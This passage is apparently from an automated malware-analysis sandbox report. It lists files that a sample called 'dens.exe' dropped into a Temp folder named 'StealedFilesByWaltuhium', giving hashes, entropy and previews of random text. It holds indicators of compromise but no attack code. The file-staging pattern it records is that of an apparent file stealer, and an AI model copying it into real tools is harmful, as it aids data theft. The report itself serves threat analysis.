JKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\ONBQCLYSPU\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\ONBQCLYSPU\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\ONBQCLYSPU\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\ONBQCLYSPU\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\ONBQCLYSPU\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\UMMBDNEQBN\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\UMMBDNEQBN\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\UMMBDNEQBN\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\UMMBDNEQBN\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\UMMBDNEQBN\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
